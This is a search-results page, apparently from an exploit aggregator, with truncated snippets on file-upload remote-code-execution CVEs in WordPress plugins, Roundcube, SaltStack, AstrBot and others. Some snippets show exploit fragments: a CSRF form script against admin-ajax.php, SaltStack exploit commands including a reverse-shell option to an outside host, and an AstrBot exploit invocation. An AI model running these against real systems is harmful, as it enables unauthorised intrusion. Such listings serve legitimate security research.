73116 matches found
CVE-2021-40905
CVE-2021-40905 - RCE via a crafted .mkp file Application: CheckMK Management Web Console Software Revision: Less than or equal to 2.0.0p17 Attack type: RCE Solution: TBD or the MKPs shared on https://exchange.checkmk.com/ are manually reviewed by CheckMk and they look for malicious code or...
CVE-2017-5638
CVE-2017-5638 The Apache Struts 2 versions 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 have a flaw in their Jakarta Multipart parser. This flaw causes incorrect handling of exceptions and generation of error messages when attempting to upload files. As a result, attackers can remotely execute...
CVE-2026-3844-Lab
CVE-2026-3844 — Breeze Cache Unauthenticated Arbitrary File Upload to RCE Lab Local-only Docker lab for reproducing and comparing CVE-2026-3844 behavior in the WordPress Breeze Cache plugin. This repository demonstrates the vulnerable behavior in Breeze Cache 2.4.4 and compares it with the patche...
CVE-2025-12189
Bread & Butter: 콘텐츠 게이트 + 리드 캡처 + 퍼스트파티 데이터 수집 + AI 에이전트로 육성 CSRF Attack function exploit const form = document.createElement'form'; form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php'; form.method = 'POST'; form.enctype = 'multipart/form-data'; form.target = 'blank'; form.style.display...
CVE-2026-41651
CVE-2026-41651 TLDR: Upload to target then python3 exploit.py...
0-click-RCE-Exploit-for-CVE-2024-51793
CVE-2024-51793 / 0-Click RCE Exploit Author: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 This repository contains a proof-of-concept exploit for CVE-2024-51793, an unauthenticated arbitrary file upload vulnerability in a vulnerable WordPress plugin, leading to remote...
CVE-2026-90500
A weakness has been identified in lenve vhr 1.0-SNAPSHOT. This vulnerability affects the function FastDFSUtils.upload of the file /hr/userface of the component Avatar Upload. This manipulation of the argument File causes unrestricted upload. The attack is possible to be carried out remotely. The...
CVE-2025-67325
🚨 Unauthenticated Remote Code Execution RCE via File Upload 📌 Overview Project: QloApps Repository: https://github.com/Qloapps/QloApps Affected Versions: = 1.7.0 Vulnerability Class: Unauthenticated Remote Code Execution Severity: Critical CVSS v3.1: Critical 9.8...
CVE-2025-49113_exploit_cookies
CVE-2025-49113 - Roundcube Webmail Remote Code Execution Vulnerability Technical Overview CVE-2025-49113 is a critical insecure deserialization vulnerability in Roundcube Webmail that enables authenticated remote code execution. The vulnerability stems from improper handling of serialized PHP...
CVE-2023-50564
CVE-2023-50564 CVE-2023-50564 is an RCE vulnerability in Pluck CMS v4.7.18. It is made possible through an arbitrary file upload vulnerability in the /inc/modulesinstall.php component allowing to execute arbitrary code by uploading a malicious .zip file. Usage Before running the exploit, the...
CVE-2025-6440
CVE-2025-6440 WooCommerce Designer Pro = 1.9.26 - Carga Arbitraria de Archivos No Autenticada Descripción El plugin WooCommerce Designer Pro para WordPress, utilizado por el tema Pricom - Printing Company & Design Services de WordPress, es vulnerable a cargas arbitrarias de archivos debido a la...
CVE-2024-45427-Exploit
CVE-2024-45427 Exploit Generator This script generates a malicious Excel .xlsx file to exploit CVE-2024-45427 in PhpSpreadsheet library v3.7.0. It injects an XSS payload into the sheet name by manipulating the raw XML, bypassing standard library validation checks. Usage 1. Edit exploit.py and set...
EUVD-2026-76973
A weakness has been identified in lenve vhr 1.0-SNAPSHOT. This vulnerability affects the function FastDFSUtils.upload of the file /hr/userface of the component Avatar Upload. This manipulation of the argument File causes unrestricted upload. The attack is possible to be carried out remotely. The...
CVE-2026-90500 lenve vhr Avatar Upload userface FastDFSUtils.upload unrestricted upload
A weakness has been identified in lenve vhr 1.0-SNAPSHOT. This vulnerability affects the function FastDFSUtils.upload of the file /hr/userface of the component Avatar Upload. This manipulation of the argument File causes unrestricted upload. The attack is possible to be carried out remotely. The...
CVE-2026-90500
lenve vhr 1.0-SNAPSHOT is affected by an unrestricted file upload vulnerability in the Avatar Upload component, specifically in the function FastDFSUtils.upload within the file /hr/userface . The root cause is improper validation of the File argument, allowing remote attackers with low privileges...
CVE-2020-11652
SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Exec-Master: root@kitploit: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: root@kitploit: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: root@kitploit: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444...
CVE-2024-31835
CVE-2024-31835 Cross Site Scripting vulnerability in flatpress CMS Flatpress v1.3 allows a remote attacker to execute arbitrary code via a craftedpayload to the file name parameter. Affected Component: FlatPress CMS Admin Panel File Upload Field Fixed version: Flatpress v1.3 - will be fixed in...
CVE-2024-27198-POC
CVE-2024-27198 – JetBrains TeamCity Authentication Bypass & RCE PoC Author: EynaExp Scope: Research / Defensive Validation / Authorized Testing Only Overview This repository contains a proof-of-concept mass scanner targeting JetBrains TeamCity instances affected by CVE-2024-27198 , an...
CVE-2025-55449-AstrBot-RCE
소개 AstrBot=3.5.17 버전에서는 소스 코드에 JWT secret이 하드코딩되어 있어, 임의의 플러그인을 업로드하여 RCE를 달성할 수 있습니다. 사용 root@kitploit: python main.py 'http://127.0.0.1:6185' 소스 코드 https://github.com/AstrBotDevs/AstrBot.git...